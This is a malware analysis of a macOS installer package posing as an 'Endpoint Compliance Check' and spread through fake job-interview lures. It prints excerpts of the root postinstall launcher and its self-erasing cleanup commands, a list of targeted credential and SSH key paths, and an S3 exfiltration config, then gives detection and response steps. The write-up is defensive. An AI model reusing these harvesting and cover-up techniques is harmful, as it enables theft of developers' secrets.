A macOS installer package (ecc-darwin-arm64.pkg, ~167 MB) presented as an "Endpoint Compliance Check." It bundles legitimate open-source secret-scanning tools and weaponizes them against the host.
On install, it walks every user's home directory looking for SSH keys, cloud credentials, browser-saved logins, shell history, and tokens, then ships the encrypted findings to an attacker-controlled S3 bucket and self-destructs.
com.endpointcompliancecheck.ecc — plausible-sounding namespace./Library/EndpointComplianceCheck/ecc mimics legitimate enterprise agents.Pattern matches the "fake interview / take-home assignment" social-engineering campaigns: a "recruiter" or "hiring manager" asks the target to install a tool to complete an exercise.
<pkg-info identifier="com.endpointcompliancecheck.ecc" version="1.0.0" install-location="/Library/EndpointComplianceCheck/ecc" auth="root"> <payload numberOfFiles="8966" installKBytes="471717"/> <scripts> <postinstall file="./postinstall" timeout="600"/> </scripts> </pkg-info>
Note: auth="root" escalates the postinstall to full system privilege.
/Library/EndpointComplianceCheck/ecc./tmp and forks it disowned from the installer./Users/*, runs TruffleHog & Gitleaks plus custom scanners across each home directory.pkgutil --forgets itself, removes log.# Excerpt: postinstall cat > /tmp/.ecc_launch.sh << 'INNEREOF' ... harvest + upload + self-delete ... INNEREOF chmod +x /tmp/.ecc_launch.sh /tmp/.ecc_launch.sh </dev/null >/dev/null 2>&1 & disown exit 0 # installer reports success; real work begins after
Effect: the Installer.app shows "installation successful" within seconds. The actual scan + exfiltration runs as a detached root process the user never sees.
The bundled scan_config.yaml enumerates targets explicitly. Categories below are condensed from the live config.
~/.aws/credentials, config~/.config/gcloud/*~/.azure/accessTokens.json~/.kube/config~/.docker/config.json~/.terraform.d/credentials.tfrc.json~/.vault-token~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa~/.ssh/config, known_hosts~/.gitconfig, ~/.git-credentials~/.config/gh/hosts.yml~/.netrc, ~/.npmrc, ~/.pypirc~/.zsh_history, ~/.bash_history~/.python_history, ~/.node_repl_history~/.mysql_history, ~/.psql_history~/.bashrc, ~/.zshrc (inline tokens)~ with TruffleHog + Gitleaks.env, IDE configs, repo history~/Library/Application Support~/Desktop, ~/Documents, ~/Downloads, ~/Picturess3_upload: enabled: true bucket: "axs-ecc" prefix: "ecc" region: "us-west-1" access_key_id: "AKI...X6G" secret_access_key: "dLvcr...hmvb" tags: managed_by: "ecc"
Findings are encrypted with a bundled RSA public key before upload. Only the holder of the private key (the operator) can read them.
# Final lines of the launcher rm -rf "${ECC_DIR%/*}" pkgutil --forget "com.endpointcompliancecheck.ecc" rm -f /tmp/.ecc_launch.sh rm -f "${LOG}"
No on-disk artifact remains. Forensic recovery is non-trivial.
/tmp~/.ssh/id_*, ~/.aws/*, browser profile dirs from a non-user processtrufflehog or gitleaks executed as root*.s3.us-west-1.amazonaws.com from a process not associated with a known SaaS app/var/log/ecc-postinstall.log and any /tmp/.ecc_* remnants before they're wiped.aws-abuse@amazon.com with the .pkg as evidence; AWS can disable the keys and preserve bucket contents for law enforcement.product-security@apple.com for XProtect / Notarization revocation.spctl)./tmp and detach from the installer.~/.aws/credentials with monitored keys) to detect future variants.The package is technically simple but operationally well-designed: it uses legitimate tools, runs once, exfiltrates everything of value, and erases itself. The defensive answer is not better signature detection — it is reducing the value of what a developer endpoint can leak in the first place.